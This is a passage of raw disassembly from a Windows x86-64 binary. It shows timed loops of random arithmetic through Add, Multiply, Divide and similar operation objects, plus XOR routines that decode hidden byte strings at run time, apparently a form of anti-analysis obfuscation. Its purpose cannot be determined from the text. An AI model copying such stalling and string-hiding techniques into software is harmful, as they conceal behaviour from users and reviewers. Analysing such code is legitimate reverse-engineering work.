mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1b8], rcx
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0xca0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1b8]
call fcn.140158010
nop
lea rcx, [rsp + 0x408]
call fcn.140158010
lea rcx, [rsp + 0x410]
call fcn.1401615d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1c0], rcx
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0xca0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1c0]
call fcn.140158010
nop
lea rcx, [rsp + 0x410]
call fcn.140158010
lea rcx, [rsp + 0x418]
call fcn.140161600
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1c8], rcx
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0xca0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1c8]
call fcn.140158010
nop
lea rcx, [rsp + 0x418]
call fcn.140158010
lea rcx, [rsp + 0x420]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x1d0]
call fcn.140119a40
test al, al
jns 0x14014f3d3
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x4e20]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140161390
mov rbx, qword [rsp + 0xca8]
sub rbx, qword [rsp + 0xca0]
sar rbx, 3
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140161390
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xca0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140161390
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.140161630
movaps xmm5, xmm0
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.140161630
movaps xmm1, xmm5
call fcn.140119910
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.140161630
movaps xmm1, xmm13
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.140161630
call fcn.1401ceb70
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1100]
call fcn.140132180
nop
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0x1100]
call fcn.140119880
lea rcx, [rsp + 0xe68]
call fcn.140119a90
lea rcx, [rsp + 0xe68]
call fcn.1401581b0
nop
movdqa xmmword [rsp + 0x7b0], xmm6
lea r8, [rsp + 0x7b0]
mov rdx, qword [rsp + 0xe70]
mov rcx, qword [rsp + 0xe68]
call fcn.1401616b0
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xe68]
call fcn.140119990
mov rdx, qword [rsp + 0xe70]
mov rcx, qword [rsp + 0xe68]
call fcn.140161710
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140161390
mov ebx, eax
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140161390
mov r8d, ebx
mov edx, eax
call fcn.140119a60
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14014f29a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
test eax, eax
jne 0x14014f2bf
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014f2ce
call fcn.140161390
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r15d
nop word [rax + rax]
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.140161630
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x4e20]
test bl, 1
jne 0x14014f34b
lea rcx, [rsp + 0xc20]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014f36d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xdb0]
call fcn.140161630
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x14014f2e0
sub rdi, 1
jne 0x14014f2d3
lea rcx, [rsp + 0xe68]
call fcn.140158150
nop
lea rcx, [rsp + 0x1100]
call fcn.1401348a0
sub rsi, 1
jne 0x14014f090
lea rcx, [rsp + 0x420]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x1d0]
call fcn.140119a40
test al, al
js 0x14014f081
mov r12d, dword [0x1401ff0f8]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xca0]
call fcn.140158060
lea rdx, [rsp + 0xd710]
lea rcx, [rsp + 0xac0]
call fcn.14012fe00
nop
mov rdx, rax
lea rcx, [0x140202330]
call fcn.1401624d0
mov rcx, rax
call fcn.1401624f0
nop
lea rcx, [rsp + 0xac0]
call fcn.1401348a0
lea rcx, [rsp + 0x1160]
call fcn.1401555c0
lea rdx, [rsp + 0xd710]
lea rcx, [rsp + 0xaa0]
call fcn.14012fe00
nop
mov rdx, rax
lea rcx, [rsp + 0x1160]
call fcn.1401555d0
nop
lea rcx, [rsp + 0xaa0]
call fcn.1401348a0
lea rdx, [0x140206d40]
lea rcx, [rsp + 0x1160]
call fcn.140163280
call fcn.14017ecdc
mov edx, eax
lea rcx, [rsp + 0x61b0]
call fcn.140158100
mov dword [rsp + 0xc28], 0xffffff9c
mov dword [rsp + 0xc2c], 0x64
movaps xmm0, xmmword [0x1401ec250]
movups xmmword [rsp + 0xdc0], xmm0
mov dword [rsp + 0x40], r15d
movsd qword [rsp + 0x50], xmm15
lea rcx, [rsp + 0x428]
call fcn.140119690
mov rax, qword [rsp + 0x428]
add rax, 0x5f5e100
mov qword [rsp + 0x208], rax
lea rcx, [rsp + 0xcd0]
call fcn.140119a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xcd0], xmm0
mov qword [rsp + 0xce0], r15
lea rcx, [rsp + 0x430]
call fcn.140161510
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1d8], rcx
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0xcd0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1d8]
call fcn.140158010
nop
lea rcx, [rsp + 0x430]
call fcn.140158010
lea rcx, [rsp + 0x438]
call fcn.140161540
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1e0], rcx
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0xcd0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1e0]
call fcn.140158010
nop
lea rcx, [rsp + 0x438]
call fcn.140158010
lea rcx, [rsp + 0x440]
call fcn.140161570
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1e8], rcx
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0xcd0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1e8]
call fcn.140158010
nop
lea rcx, [rsp + 0x440]
call fcn.140158010
lea rcx, [rsp + 0x448]
call fcn.1401615a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1f0], rcx
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xcd0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1f0]
call fcn.140158010
nop
lea rcx, [rsp + 0x448]
call fcn.140158010
lea rcx, [rsp + 0x450]
call fcn.1401615d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1f8], rcx
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0xcd0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1f8]
call fcn.140158010
nop
lea rcx, [rsp + 0x450]
call fcn.140158010
lea rcx, [rsp + 0x458]
call fcn.140161600
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x200], rcx
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0xcd0]
call fcn.140158030
nop
lea rcx, [rsp + 0x200]
call fcn.140158010
nop
lea rcx, [rsp + 0x458]
call fcn.140158010
lea rcx, [rsp + 0x460]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x208]
call fcn.140119a40
test al, al
jns 0x14014fa63
lea rax, [rsp + 0xc28]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x61b0]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140161390
mov rbx, qword [rsp + 0xcd8]
sub rbx, qword [rsp + 0xcd0]
sar rbx, 3
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140161390
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xcd0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140161390
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.140161630
movaps xmm5, xmm0
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.140161630
movaps xmm1, xmm5
call fcn.140119910
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.140161630
movaps xmm1, xmm13
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.140161630
call fcn.1401ceb70
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x10e0]
call fcn.140132180
nop
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0x10e0]
call fcn.140119880
lea rcx, [rsp + 0xee0]
call fcn.140119a90
lea rcx, [rsp + 0xee0]
call fcn.1401581b0
nop
movdqa xmmword [rsp + 0x7c0], xmm6
lea r8, [rsp + 0x7c0]
mov rdx, qword [rsp + 0xee8]
mov rcx, qword [rsp + 0xee0]
call fcn.1401616b0
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xee0]
call fcn.140119990
mov rdx, qword [rsp + 0xee8]
mov rcx, qword [rsp + 0xee0]
call fcn.140161710
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140161390
mov ebx, eax
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140161390
mov r8d, ebx
mov edx, eax
call fcn.140119a60
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14014f92a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
test eax, eax
jne 0x14014f94f
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014f95e
call fcn.140161390
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r15d
nop word [rax + rax]
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.140161630
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x61b0]
test bl, 1
jne 0x14014f9db
lea rcx, [rsp + 0xc28]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014f9fd
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xdc0]
call fcn.140161630
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x14014f970
sub rdi, 1
jne 0x14014f963
lea rcx, [rsp + 0xee0]
call fcn.140158150
nop
lea rcx, [rsp + 0x10e0]
call fcn.1401348a0
sub rsi, 1
jne 0x14014f720
lea rcx, [rsp + 0x460]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x208]
call fcn.140119a40
test al, al
js 0x14014f710
mov r12d, dword [0x1401ff0f8]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xcd0]
call fcn.140158060
lea rdx, [0x140206dd0]
lea rcx, [rsp + 0x1160]
call fcn.140163280
lea rdx, [0x140206db0]
lea rcx, [rsp + 0x1160]
call fcn.140162440
movups xmm0, xmmword [0x1401eb640]
movups xmmword [rsp + 0x730], xmm0
movups xmm1, xmmword [0x1401eb650]
movups xmmword [rsp + 0x740], xmm1
movups xmm0, xmmword [0x1401eb660]
movups xmmword [rsp + 0x750], xmm0
movups xmm1, xmmword [0x1401eb670]
movups xmmword [rsp + 0x760], xmm1
movsd xmm0, qword [0x1401eb680]
movsd qword [rsp + 0x770], xmm0
mov eax, dword [0x1401eb688]
mov dword [rsp + 0x778], eax
movzx eax, byte [0x1401eb68c]
mov byte [rsp + 0x77c], al
mov r9d, r15d
mov ebx, 6
cmp r12d, 2
jl 0x14014fd2f
mov eax, 5
movd xmm7, eax
movd xmm8, ebx
movd xmm6, r13d
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x730]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x14014fb40
cmp r9d, 0x4d
jge 0x14014fd8f
movsxd rax, r9d
lea r10, [rsp + 0x730]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4d
jl 0x14014fd40
lea rdx, [rsp + 0x730]
lea rcx, [rsp + 0x9c0]
call fcn.140132180
nop
lea rcx, [rsp + 0x9c0]
call fcn.140122c50
nop
lea rcx, [rsp + 0x9c0]
call fcn.1401348a0
lea rdx, [rsp + 0xd710]
lea rcx, [rsp + 0x618]
call fcn.14012fe00
mov r11, rax
movups xmm0, xmmword [0x1401eb940]
movups xmmword [rsp + 0x8a0], xmm0
movups xmm1, xmmword [0x1401eb950]
movups xmmword [rsp + 0x8b0], xmm1
movups xmm0, xmmword [0x1401eb960]
movups xmmword [rsp + 0x8c0], xmm0
movups xmm1, xmmword [0x1401eb970]
movups xmmword [rsp + 0x8d0], xmm1
movzx eax, byte [0x1401eb980]
mov byte [rsp + 0x8e0], al
mov r9d, r15d
cmp r12d, 2
jl 0x14015004f
mov r12d, 5
movd xmm7, r12d
movd xmm8, ebx
movd xmm6, r13d
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x8a0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x14014fe60
cmp r9d, 0x41
jge 0x1401500af
movsxd rax, r9d
lea r10, [rsp + 0x8a0]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x41
jl 0x140150060
mov r8, r11
lea rdx, [rsp + 0x8a0]
lea rcx, [rsp + 0xa80]
call fcn.1401621b0
mov rcx, rax
call fcn.140132490
nop
mov rdx, qword [rsp + 0x630]
cmp rdx, 0x10
jb 0x140150113
inc rdx
mov rcx, qword [rsp + 0x618]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14015010e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14015551b
call fcn.14019ed30
mov qword [rsp + 0x628], r15
mov qword [rsp + 0x630], 0xf
mov byte [rsp + 0x618], 0
call fcn.14017ecdc
mov dword [rsp + 0x3a84], 0xffffffff
mov dword [rsp + 0x2704], eax
mov rdx, r14
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x2704], eax
inc rdx
cmp rdx, 0x270
jb 0x140150150
mov dword [rsp + 0x2700], 0x270
mov dword [rsp + 0xbe0], 0xffffff9c
mov dword [rsp + 0xbe4], 0x64
movsd xmm11, qword [0x1401ec168]
mov dword [rsp + 0x40], r15d
movsd qword [rsp + 0x50], xmm15
call fcn.14017a0bc
mov rbx, rax
call fcn.14017a0a0
cmp rbx, 0x989680
jne 0x1401501c4
imul rax, rax, 0x64
jmp 0x1401501df
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rbx, [rax + 0x5f5e100]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc00], xmm1
mov qword [rsp + 0xc10], r15
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x468], r15
mov qword [rsp + 0xd8], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x140150246
mov qword [rsp + 0xd8], r15
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x14015025c
lea r8, [rsp + 0xd8]
lea rcx, [rsp + 0xc00]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x140150276
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x468]
test rcx, rcx
je 0x14015028f
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x470], r15
mov qword [rsp + 0xe0], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x1401502db
mov qword [rsp + 0xe0], r15
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x1401502f1
lea r8, [rsp + 0xe0]
lea rcx, [rsp + 0xc00]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x14015030b
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x470]
test rcx, rcx
je 0x140150324
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x478], r15
mov qword [rsp + 0xe8], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x140150370
mov qword [rsp + 0xe8], r15
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x140150386
lea r8, [rsp + 0xe8]
lea rcx, [rsp + 0xc00]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x1401503a0
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x478]
test rcx, rcx
je 0x1401503b9
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x480], r15
mov qword [rsp + 0x100], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x140150405
mov qword [rsp + 0x100], r15
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x14015041b
lea r8, [rsp + 0x100]
lea rcx, [rsp + 0xc00]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0x100]
test rcx, rcx
je 0x140150435
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x480]
test rcx, rcx
je 0x14015044e
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x488], r15
mov qword [rsp + 0x210], rax
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0xc00]
call fcn.140158030
nop
lea rcx, [rsp + 0x210]
call fcn.140158010
nop
lea rcx, [rsp + 0x488]
call fcn.140158010
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x490], r15
mov qword [rsp + 0x108], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x1401504ef
mov qword [rsp + 0x108], r15
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x140150505
lea r8, [rsp + 0x108]
lea rcx, [rsp + 0xc00]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0x108]
test rcx, rcx
je 0x14015051f
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x490]
test rcx, rcx
je 0x140150538
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov esi, 0x80000000
